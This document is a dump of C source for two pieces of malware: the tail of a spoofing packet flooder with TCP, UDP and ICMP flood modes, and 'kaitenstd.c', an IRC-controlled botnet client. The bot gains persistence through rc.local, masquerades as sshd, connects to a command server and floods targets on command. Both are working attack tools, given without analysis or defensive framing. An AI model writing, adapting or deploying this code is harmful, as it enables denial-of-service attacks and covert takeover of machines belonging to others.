178 |                 break;
179 | 
180 |             case 'U': /* UDP attack
181 |                        */
182 |                 a_flags |= UDP_CFF;
183 |                 break;
184 | 
185 |             case 'I': /* ICMP attack
186 |                        */
187 |                 a_flags |= ICMP_ECHO_G;
188 |                 break;
189 | 
190 |             case 'N': /* Bogus No flag attack (TCP)
191 |                        */
192 |                 a_flags |= TCP_NOF;
193 |                 break;
194 | 
195 |             case 's':
196 |                 src_class = optarg;
197 |                 break;
198 | 
199 |             case 'h':
200 |                 dstaddr = lookup(optarg);    
201 |                 break;
202 | 
203 |             case 'd':
204 |                 dst_class = optarg;
205 |                 i = 1; /* neat flag to check command line later */
206 |                 break;
207 | 
208 |             case 'p':
209 |                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
210 |                     usage(argv[0]);
211 |                 dst_sp = atoi(optarg); /* Destination start port */
212 |                 dst_ep = atoi(p +1);   /* Destination end port */
213 |                 break;
214 | 
215 |             case 'q':
216 |                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
217 |                     usage(argv[0]);
218 |                 src_sp = atoi(optarg); /* Source start port */
219 |                 src_ep = atoi(p +1);   /* Source end port */
220 |                 break;
221 | 
222 |             case 'l':
223 |                 b_link = atoi(optarg);
224 |                 if (b_link <= 0 || b_link > 100)
225 |                     usage(argv[0]);
226 |                 break;
227 | 
228 |             case 't':
229 |                 until = time(0) +atoi(optarg);
230 |                 break;
231 | 
232 |             default:
233 |                 usage(argv[0]);
234 |                 break;
235 |         }
236 |     }
237 | 
238 |     /* Checking command line */
239 |     if ( (!dstaddr && !i) || 
240 |          (dstaddr && i) ||
241 |          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
242 |          (src_sp != 0 && src_sp > src_ep) ||
243 |          (dst_sp != 0 && dst_sp > dst_ep))
244 |             usage(argv[0]);
245 | 
246 |     srandom(time(NULL) ^ getpid());
247 | 
248 |     /* Opening RAW socket */
249 |     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
250 |         perror("socket");
251 |         exit(-1);
252 |     }
253 | 
254 |     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
255 |         (char *)&on, sizeof(on)) < 0) {
256 |             perror("setsockopt");
257 |             exit(-1);
258 |     }
259 | 
260 |     /* Filling target structure */
261 |     target.sin_family           = AF_INET;
262 | 
263 |     /* Packeting! */
264 |     for (n = 0; ; ) {
265 | 
266 |         /* Poor link control handling */
267 |         if (b_link != -1 && random() % 100 +1 > b_link) {
268 |             if (random() % 200 +1 > 199)
269 |                 usleep(1);
270 |             continue;
271 |         }
272 | 
273 |         /* Sending requested packets */
274 |         for (i = 0; a_list[i].f != NULL; ++i) {
275 |             if (a_list[i].gv & a_flags)
276 |                 a_list[i].f(a_list[i].kv);
277 |         }         
278 | 
279 |         /* Attack is finished? Do not check it every time, would eat
280 |          * too much CPU */
281 |         if (n++ == 100) {
282 |             if (until != -1 && time(0) >= until) break;
283 |             n = 0;
284 |         }
285 |     }
286 |                 
287 |     exit(0);
288 | }
289 | 
290 | 
291 | u_long
292 | lookup(const char *host)
293 | {
294 |     struct hostent *hp;
295 | 
296 |     if ( (hp = gethostbyname(host)) == NULL) {
297 |         perror("gethostbyname");
298 |         exit(-1);
299 |     }
300 | 
301 |     return *(u_long *)hp->h_addr;
302 | }
303 | 
304 | 
305 | #define RANDOM() (int) random() % 255 +1
306 | 
307 | char *
308 | class2ip(const char *class)
309 | {
310 |     static char ip[16];
311 |     int i, j;
312 | 
313 |     for (i = 0, j = 0; class[i] != '\0'; ++i)
314 |         if (class[i] == '.')
315 |             ++j;
316 | 
317 |     switch (j) {
318 |         case 0:
319 |             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
320 |             break;
321 |         case 1:
322 |             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
323 |             break;
324 |         case 2:
325 |             sprintf(ip, "%s.%d", class, RANDOM());
326 |             break;
327 | 
328 |         /* Spoofing single host */
329 |         default: strncpy(ip, class, 16);
330 |                  break;
331 |     }
332 |     return ip;
333 | }
334 | 
335 | 
336 | unsigned short
337 | in_cksum(unsigned short *addr, int len)
338 | {
339 |     int nleft = len;
340 |     int sum = 0;
341 |     unsigned short *w = addr;
342 |     unsigned short answer = 0;
343 | 
344 |     /*
345 |      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
346 |      * sequential 16 bit words to it, and at the end, fold back all the
347 |      * carry bits from the top 16 bits into the lower 16 bits.
348 |      */
349 |     while (nleft > 1) {
350 |         sum += *w++;
351 |         nleft -= 2;
352 |     }
353 | 
354 |     /*
355 |      * Mop up an odd byte, if necessary
356 |      */
357 |     if (nleft == 1) {
358 |         *(unsigned char *) (&answer) = *(unsigned char *)w;
359 |         sum += answer;
360 |     }
361 | 
362 |     /*
363 |      * Add back carry outs from top 16 bits to low 16 bits
364 |      */
365 |     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
366 |     sum   += (sum >> 16);                   /* add carry           */
367 |     answer = ~sum;                          /* truncate to 16 bits */
368 | 
369 |     return answer;
370 | }
371 | 
372 | 
373 | /*
374 |  * Creating generic ip header, not yet ready to be used.
375 |  */
376 | static void
377 | inject_iphdr(struct ip *ip, u_char p, u_char len)
378 | {
379 | 
380 | 
381 |     /* Filling IP header */
382 |     ip->ip_hl             = 5;
383 |     ip->ip_v              = 4;
384 |     ip->ip_p              = p;
385 |     ip->ip_tos            = 0x08; /* 0x08 */
386 |     ip->ip_id             = random();
387 |     ip->ip_len            = len;
388 |     ip->ip_off            = 0;
389 |     ip->ip_ttl            = 255;
390 | 
391 |     ip->ip_dst.s_addr     = dst_class != NULL ?
392 |                             inet_addr(class2ip(dst_class)) :
393 |                             dstaddr;
394 | 
395 |     ip->ip_src.s_addr     = src_class != NULL ? 
396 |                             inet_addr(class2ip(src_class)) : 
397 |                             random();
398 | 
399 |     /* I know, this is not part of the game, but anyway.. */
400 |     target.sin_addr.s_addr = ip->ip_dst.s_addr;
401 | }    
402 | 
403 | 
404 | static void
405 | send_tcp(u_char th_flags)
406 | {
407 |     struct cksum cksum;
408 |     struct packet {
409 |         struct ip ip;
410 |         struct tcphdr tcp;
411 |     } packet;
412 | 
413 | 
414 |     /* Filling IP header */
415 |     memset(&packet, 0, sizeof packet);
416 |     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
417 |     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
418 | 
419 |     /* Filling cksum pseudo header */
420 |     cksum.pseudo.daddr      = dstaddr;
421 |     cksum.pseudo.mbz        = 0;
422 |     cksum.pseudo.ptcl       = IPPROTO_TCP;
423 |     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
424 |     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
425 | 
426 |     /* Filling TCP header */
427 |     packet.tcp.th_flags     = 0;
428 |     packet.tcp.th_win       = htons(65535);
429 |     packet.tcp.th_seq       = random();
430 |     packet.tcp.th_ack       = 0;
431 |     packet.tcp.th_flags     = th_flags;
432 |     packet.tcp.th_off       = 5; 
433 |     packet.tcp.th_urp       = 0;
434 |     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
435 |     packet.tcp.th_dport     = CHOOSE_DST_PORT();
436 |     cksum.tcp               = packet.tcp;
437 |     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
438 |     SEND_PACKET();
439 | }
440 | 
441 | 
442 | static void
443 | send_udp(u_char garbage) /* No use for garbage here, just to remain */
444 | {                        /* coherent with a_list[]                  */
445 |     struct packet {
446 |         struct ip ip;
447 |         struct udphdr udp;
448 |     } packet;
449 | 
450 | 
451 |     /* Filling IP header */
452 |     memset(&packet, 0, sizeof packet);
453 |     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
454 |     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
455 | 
456 |     /* Filling UDP header */
457 |     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
458 |     packet.udp.uh_dport         = CHOOSE_DST_PORT();
459 |     packet.udp.uh_ulen          = htons(sizeof packet.udp);
460 |     packet.udp.uh_sum           = 0; /* No checksum */
461 |     SEND_PACKET();
462 | }
463 | 
464 | 
465 | static void
466 | send_icmp(u_char gargabe) /* Garbage discarded again.. */
467 | {
468 |     struct packet {
469 |         struct ip ip;
470 |         struct icmp icmp;
471 |     } packet;
472 | 
473 | 
474 |     /* Filling IP header */
475 |     memset(&packet, 0, sizeof packet);
476 |     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
477 |     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
478 | 
479 |     /* Filling ICMP header */
480 |     packet.icmp.icmp_type       = ICMP_ECHO;
481 |     packet.icmp.icmp_code       = 0;
482 |     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
483 |     SEND_PACKET();
484 | }
485 | 
486 | 
487 | static void
488 | usage(const char *argv0)
489 | {
490 |     printf("%s \n", banner);
491 |     printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);
492 | 
493 | printf("REGISTERED TO: seilaqm..\n\n");
494 | 
495 | printf("    -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )\n");
496 | printf("    -U UDP attack                                (no options         )\n");
497 | printf("    -I ICMP attack                               (no options         )\n");
498 | printf("    -N Bogus No flag attack                      (no options         )\n");
499 | printf("    -s source class/ip                           (defaults to random )\n");
500 | printf("    -h destination host/ip                       (no default         )\n");
501 | printf("    -d destination class                         (no default         )\n");
502 | printf("    -p destination port range [start,end]        (defaults to random )\n");
503 | printf("    -q source port range [start,end]             (defaults to random )\n");
504 | printf("    -l %% of box link to use                      (defaults to 100%%   )\n");
505 | printf("    -t timeout                                   (defaults to forever)\n");
506 | 
507 | 
508 |     exit(-1);
509 | }
510 | 


--------------------------------------------------------------------------------
/kaitenstd.c.c:
--------------------------------------------------------------------------------
  1 | #define STARTUP //set to define if rooted
  2 | #undef IDENT
  3 | #define FAKENAME "/usr/bin/sshd"
  4 | #define CHAN "#Channel"
  5 | #define KEY "key"
  6 | #define PORT 443
  7 | #define PASS ""
  8 | #define STD2_STRING "std"
  9 | #define STD2_SIZE 50
 10 | #define PREFIX ""
 11 | int numservers=1;
 12 | char *servers[] = {
 13 |   "1.1.1.1",
 14 |   (void*)0
 15 | };
 16 | 
 17 | #include <stdarg.h>
 18 | #include <errno.h>
 19 | #include <stdio.h>
 20 | #include <stdlib.h>
 21 | #include <string.h>
 22 | #include <sys/types.h>
 23 | #include <sys/stat.h>
 24 | #include <fcntl.h>
 25 | #include <strings.h>
 26 | #include <netinet/in.h>
 27 | #include <unistd.h>
 28 | #include <sys/time.h>
 29 | #include <sys/socket.h>
 30 | #include <signal.h>
 31 | #include <arpa/inet.h>
 32 | #include <netdb.h>
 33 | #include <time.h>
 34 | #include <sys/wait.h>
 35 | #include <sys/ioctl.h>
 36 | 
 37 | int sock,changeservers=0;
 38 | char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
 39 | unsigned int *pids;
 40 | unsigned long spoofs=0, spoofsm=0, numpids=0;
 41 | 
 42 | int strwildmatch(unsigned char* pattern, unsigned char* string) {
 43 | 	switch((unsigned char)*pattern) {
 44 | 		case '\0': return *string;
 45 | 		case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
 46 | 		case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
 47 | 		case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
 48 | 		case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
 49 | 		case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
 50 |         case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
 51 | 		case '?': return !(*string && !strwildmatch(pattern+1, string+1));
 52 | 		default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
 53 | 	}
 54 | }
 55 | int Send(int sock, char *words, ...) {
 56 |         static char textBuffer[1024];
 57 |         va_list args;
 58 |         va_start(args, words);
 59 |         vsprintf(textBuffer, words, args);
 60 |         va_end(args);
 61 |         return write(sock,textBuffer,strlen(textBuffer));
 62 | }
 63 | unsigned int host2ip(char *sender,char *hostname) {
 64 |         static struct in_addr i;
 65 |         struct hostent *h;
 66 |         if((i.s_addr = inet_addr(hostname)) == -1) {
 67 |                 if((h = gethostbyname(hostname)) == NULL) {
 68 |                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
 69 |                         exit(0);
 70 |                 }
 71 |                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
 72 |         }
 73 |         return i.s_addr;
 74 | }
 75 | int mfork(char *sender) {
 76 | 	unsigned int parent, *newpids, i;
 77 | 	if (disabled == 1) {
 78 | 		Send(sock,"NOTICE %s :Unable to comply.\n",sender);
 79 | 		return 1;
 80 | 	}
 81 | 	parent=fork();
 82 | 	if (parent <= 0) return parent;
 83 | 	numpids++;
 84 | 	newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
 85 | 	for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
 86 | 	newpids[numpids-1]=parent;
 87 | 	free(pids);
 88 | 	pids=newpids;
 89 | 	return parent;
 90 | }
 91 | void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
 92 | char *makestring() {
 93 | 	char *tmp;
 94 | 	int len=(rand()%5)+4,i;
 95 |  	FILE *file;
 96 | 	tmp=(char*)malloc(len+1);
 97 |  	memset(tmp,0,len+1);
 98 | 	char *pre;
 99 |  	if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
100 | 	else {
101 | 		int a=((rand()*rand())%45402)+1;
102 | 		char buf[1024];
103 | 		for (i=0;i<a;i++) fgets(buf,1024,file);
104 | 		memset(buf,0,1024);
105 | 		fgets(buf,1024,file);
106 | 		filter(buf);
107 | 		memcpy(tmp,buf,len);
108 | 		fclose(file);
109 | 	}
110 | 	return tmp;
111 | }
112 | void identd() {
113 |         int sockname,sockfd,sin_size,tmpsock,i;
114 |         struct sockaddr_in my_addr,their_addr;
115 |         char szBuffer[1024];
116 |         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
117 |         my_addr.sin_family = AF_INET;
118 |         my_addr.sin_port = htons(113);
119 |         my_addr.sin_addr.s_addr = INADDR_ANY;
120 |         memset(&(my_addr.sin_zero), 0, 8);
121 |         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
122 |         if (listen(sockfd, 1) == -1) return;
123 |         if (fork() == 0) return;
124 |         sin_size = sizeof(struct sockaddr_in);
125 |         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
126 |         for(;;) {
127 |                 fd_set bla;
128 |                 struct timeval timee;
129 |                 FD_ZERO(&bla);
130 |                 FD_SET(tmpsock,&bla);
131 |                 timee.tv_sec=timee.tv_usec=60;
132 |                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
133 |                 if (FD_ISSET(tmpsock,&bla)) break;
134 |         }
135 |         i = recv(tmpsock,szBuffer,1024,0);
136 |         if (i <= 0 || i >= 20) exit(0);
137 |         szBuffer[i]=0;
138 |         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
139 |         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
140 | 	Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
141 |         close(tmpsock);
142 |         close(sockfd);
143 |         exit(0);
144 | }
145 | 
146 | //STD Attack
147 | void std(int sock, char *sender, int argc, char **argv) {
148 |     if (argc < 3) {
149 | 	
150 |         Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
151 |         exit(1);
152 | 		
153 |     }
154 |     unsigned long secs;
155 | 
156 |     int iSTD_Sock;
157 | 
158 |     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
159 | 
160 |     time_t start = time(NULL);
161 |     secs = atol(argv[3]);
162 |     if (mfork(sender) != 0) return;
163 |     Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
164 | 
165 |     struct sockaddr_in sin;
166 | 
167 |     struct hostent *hp;
168 | 
169 |     hp = gethostbyname(argv[1]);
170 | 
171 |     bzero((char*) &sin,sizeof(sin));
172 |     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
173 |     sin.sin_family = hp->h_addrtype;
174 |     sin.sin_port = atol(argv[2]);
175 | 
176 |     unsigned int a = 0;
177 | 
178 |     while(1){
179 |         if (a >= 50) 
180 |         {
181 |             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
182 |             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
183 |             if (time(NULL) >= start + secs) 
184 |             {
185 |                 Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
186 |                 close(iSTD_Sock);
187 |                 exit(0);
188 |             }
189 |             a = 0;
190 |         }
191 |         a++;
192 |     }
193 | 	
194 | 
195 | }
196 | 
197 | void stop(int sock, char *sender, int argc, char **argv){
198 |     unsigned long i;
199 |     for (i=0;i<numpids;i++) {
200 |         if (pids[i] != 0 && pids[i] != getpid()) {
201 |             if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
202 |                 kill(pids[i],9);
203 |         }
204 |     }
205 | }
206 | 
207 | void unknown(int sock, char *sender, int argc, char **argv) {
208 |     int flag=1,fd,i;
209 |     unsigned long secs;
210 |     char *buf=(char*)malloc(9216);
211 |     struct hostent *hp;
212 |     struct sockaddr_in in;
213 |     
214 |     time_t start=time(NULL);
215 |     
216 |     if (mfork(sender) != 0) return;
217 |     
218 |     if (argc != 2) {
219 |         Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
220 |         exit(1);
221 |     }
222 |     
223 |     secs=atol(argv[2]);
224 |     
225 |     memset((void*)&in,0,sizeof(struct sockaddr_in));
226 |     
227 |     in.sin_addr.s_addr=host2ip(sender,argv[1]);
228 |     in.sin_family = AF_INET;
229 |     
230 |     Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
231 |     
232 |     while(1) {
233 |         
234 |         in.sin_port = rand();
235 |         
236 |         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
237 |         } else {
238 |             flag=1;
239 |             ioctl(fd,FIONBIO,&flag);
240 |             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
241 |             close(fd);
242 |         }
243 |         
244 |         if (i >= 50) {
245 |             if (time(NULL) >= start+secs) break;
246 |                 i=0;
247 |         }
248 |         i++;
249 |     }
250 |     Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
251 |     close(fd);
252 |     exit(0);
253 | }
254 | 
255 | //Kill the bot
256 | void killsec(int sock, char *sender, int argc, char **argv) {
257 | 	
258 | 	if(strcasecmp(adminuser1,sender) == 0){
259 | 	
260 | 		kill(0,9);
261 | 	
262 | 	} else {
263 | 	
264 | 		Send(sock,"PRIVMSG %s :Nice try...\n", chan);
265 | 	
266 | 	}
267 | }
268 | 
269 | struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
270 | 	{ "+std"     				,    std     },
271 | 	{ "+stop"    				,    stop    },
272 |     { "+unknown"    		    ,   unknown  },
273 | 	{ "Kkt9x4JApM0RuSqCLA" 	    ,   killsec  },
274 | 	{ (char *)0, (void (*)(int,char *,int,char **))0 } };
275 | 	
276 | void _PRIVMSG(int sock, char *sender, char *str) {
277 |         int i;
278 |         char *to, *message;
279 | 		
280 |         for (i=0;i<strlen(str) && str[i] != ' ';i++);
281 |         str[i]=0;
282 |         to=str;
283 |         message=str+i+2;
284 |         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
285 |         sender[i]=0;
286 |         if (*message == '>' && !strcasecmp(to,chan)) {
287 |                 char *params[12], name[1024]={0};
288 |                 int num_params=0, m;
289 |                 message++;
290 |                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
291 |                 message[i]=0;
292 | 				if (strwildmatch(message,nick)) return;
293 |                 message+=i+1;
294 |                 m=strlen(message);
295 |                 for (i=0;i<m;i++) {
296 |                         if (*message == ' ' || *message == 0) break;
297 |                         name[i]=*message;
298 |                         message++;
299 |                 }
300 |                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
301 |                 num_params++;
302 |                 if (num_params > 10) num_params=10;
303 |                 params[0]=name;
304 |                 params[num_params+1]="\0";
305 |                 m=1;
306 |                 while (*message != 0) {
307 |                         message++;
308 |                         if (m >= num_params) break;
309 |                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
310 |                         params[m]=(char*)malloc(i+1);
311 |                         strncpy(params[m],message,i);
312 |                         params[m][i]=0;
313 |                         m++;
314 |                         message+=i;
315 |                 }
316 |                 for (m=0; flooders[m].cmd != (char *)0; m++) {
317 |                         if (!strcasecmp(flooders[m].cmd,name)) {
318 |                                 flooders[m].func(sock,sender,num_params-1,params);
319 |                                 for (i=1;i<num_params;i++) free(params[i]);
320 |                                 return;
321 |                         }
322 |                 }
323 |         }
324 | }
325 | void _376(int sock, char *sender, char *str) {
326 | 		Send(sock,"MODE %s +pixB\n",nick);
327 |         Send(sock,"JOIN %s :%s\n",chan,key);
328 | 		Send(sock,"WHO %s\n",nick);
329 | }
330 | void _PING(int sock, char *sender, char *str) {
331 | 
332 | Send(sock,"PONG %s\n",str);
333 | 
334 | }
335 | 
336 | void _352(int sock, char *sender, char *str) {
337 |         int i,d;
338 |         char *msg=str;
339 |         struct hostent *hostm;
340 |         unsigned long m;
341 |         for (i=0,d=0;d<5;d++) {
342 |                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
343 |                 if (i == strlen(str)) return;
344 |         }
345 |         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
346 |         msg[i]=0;
347 |         if (!strcasecmp(msg,nick) && !spoofsm) {
348 |                 msg=str;
349 |                 for (i=0,d=0;d<3;d++) {
350 |                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
351 |                         if (i == strlen(str)) return;
352 |                 }
353 |                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
354 |                 msg[i]=0;
355 |                 if ((m = inet_addr(msg)) == -1) {
356 |                         if ((hostm=gethostbyname(msg)) == NULL) {
357 |                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
358 |                                 return;
359 |                         }
360 |                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
361 |                 }
362 |                 ((char*)&spoofs)[3]=((char*)&m)[0];
363 |                 ((char*)&spoofs)[2]=((char*)&m)[1];
364 |                 ((char*)&spoofs)[1]=((char*)&m)[2];
365 |                 ((char*)&spoofs)[0]=0;
366 |                 spoofsm=256;
367 |         }
368 | }
369 | void _433(int sock, char *sender, char *str) {
370 |         free(nick);
371 | 		char tempnick[50];
372 | 		char *strpref = PREFIX;
373 | 		char *genname = makestring();
374 | 		strcpy(tempnick,strpref);
375 | 		strcat(tempnick,genname);
376 |         nick=tempnick;	
377 | }
378 | 
379 | struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
380 |         {   "352",     _352     },
381 |         {   "376",     _376     },
382 | 		{   "433",     _433     },
383 | 		{   "422",     _376     },
384 |         { "PRIVMSG", _PRIVMSG   },
385 |         {   "PING",    _PING    },
386 | 		{ (char *)0, (void (*)(int,char *,char *))0 } };
387 | void con() {
388 |         struct sockaddr_in srv;
389 |         unsigned long ipaddr,start;
390 |         int flag;
391 |         struct hostent *hp;
392 | start:
393 | 	sock=-1;
394 | 	flag=1;
395 | 	if (changeservers == 0) server=servers[rand()%numservers];
396 | 	changeservers=0;
397 |         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
398 | 	if (inet_addr(server) == 0 || inet_addr(server) == -1) {
399 | 		if ((hp = gethostbyname(server)) == NULL) {
400 | 			server=NULL;
401 | 			close(sock);
402 | 			goto start;
403 | 		}
404 | 		bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
405 | 	}
406 | 	else srv.sin_addr.s_addr=inet_addr(server);
407 |         srv.sin_family = AF_INET;
408 |         srv.sin_port = htons(PORT);
409 | 	ioctl(sock,FIONBIO,&flag);
410 | 	start=time(NULL);
411 | 	while(time(NULL)-start < 10) {
412 | 		errno=0;
413 | 		if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
414 | 		        setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
415 | 		        setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
416 | 		        setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
417 | 			return;
418 | 		}
419 | 		if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
420 | 		sleep(1);
421 | 	}
422 | 	server=NULL;
423 | 	close(sock);
424 | 	goto start;
425 | }
426 | int main(int argc, char *argv[]) {
427 |         int on,i;
428 |         char cwd[256],*str;
429 |         FILE *file;
430 | #ifdef STARTUP
431 | 	str="/etc/rc.d/rc.local";
432 | 	file=fopen(str,"r");
433 | 	if (file == NULL) {
434 | 		str="/etc/rc.conf";
435 | 		file=fopen(str,"r");
436 | 	}
437 |         if (file != NULL) {
438 |                 char outfile[256], buf[1024];
439 |                 int i=strlen(argv[0]), d=0;
440 |                 getcwd(cwd,256);
441 |                 if (strcmp(cwd,"/")) {
442 |                         while(argv[0][i] != '/') i--;
443 |                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
444 |                         while(!feof(file)) {
445 |                                 fgets(buf,1024,file);
446 |                                 if (!strcasecmp(buf,outfile)) d++;
447 |                         }
448 |                         if (d == 0) {
449 |                                 FILE *out;
450 |                                 fclose(file);
451 |                                 out=fopen(str,"a");
452 |                                 if (out != NULL) {
453 |                                         fputs(outfile,out);
454 |                                         fclose(out);
455 |                                 }
456 |                         }
457 |                         else fclose(file);
458 |                 }
459 |                 else fclose(file);
460 |         }
461 | #endif
462 |         if (fork()) exit(0);
463 | #ifdef FAKENAME
464 | 	strncpy(argv[0],FAKENAME,strlen(argv[0]));
465 |         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
466 | #endif
467 |         srand((time(NULL) ^ getpid()) + getppid());
468 | 		char tempnick[50];
469 | 		char *strpref = PREFIX;
470 | 		char *genname = makestring();
471 | 	
472 | 		strcpy(tempnick,strpref);
473 | 		strcat(tempnick,genname);
474 | 		
475 |         nick=tempnick;
476 |         ident="STD";
477 |         user="STD IRC Bot";
478 |         chan=CHAN;
479 | 		key=KEY;
480 | 		pass=PASS;
481 | 		server=NULL;
482 | sa:
483 | #ifdef IDENT
484 |         for (i=0;i<numpids;i++) {
485 |                 if (pids[i] != 0 && pids[i] != getpid()) {
486 |                         kill(pids[i],9);
487 | 			waitpid(pids[i],NULL,WNOHANG);
488 |                 }
489 |         }
490 | 	pids=NULL;
491 | 	numpids=0;
492 | 	identd();
493 | #endif
494 | 
495 | 	con();
496 | 		Send(sock,"PASS %s\n", pass);
497 |         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
498 |         while(1) {
499 |                 unsigned long i;
500 |                 fd_set n;
501 |                 struct timeval tv;
502 |                 FD_ZERO(&n);
503 |                 FD_SET(sock,&n);
504 |                 tv.tv_sec=60*20;
505 |                 tv.tv_usec=0;
506 |                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
507 |                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
508 |                         unsigned int *newpids,on;
509 |                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
510 | 			pids[on-1]=0;
511 |                         numpids--;
512 |                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
513 |                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
514 |                         free(pids);
515 |                         pids=newpids;
516 |                 }
517 |                 if (FD_ISSET(sock,&n)) {
518 |                         char buf[4096], *str;
519 |                         int i;
520 |                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
521 |                         buf[i]=0;
522 |                         str=strtok(buf,"\n");
523 |                         while(str && *str) {
524 |                                 char name[1024], sender[1024];
525 |                                 filter(str);
526 |                                 if (*str == ':') {
527 |                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
528 |                                         str[i]=0;
529 |                                         strcpy(sender,str+1);
530 |                                         strcpy(str,str+i+1);
531 |                                 }
532 |                                 else strcpy(sender,"*");
533 |                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
534 |                                 str[i]=0;
535 |                                 strcpy(name,str);
536 |                                 strcpy(str,str+i+1);
537 |                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
538 |                                 if (!strcasecmp(name,"ERROR")) goto sa;
539 |                                 str=strtok((char*)NULL,"\n");
540 |                         }
541 |                 }
542 |         }
543 |         return 0;
544 | }


--------------------------------------------------------------------------------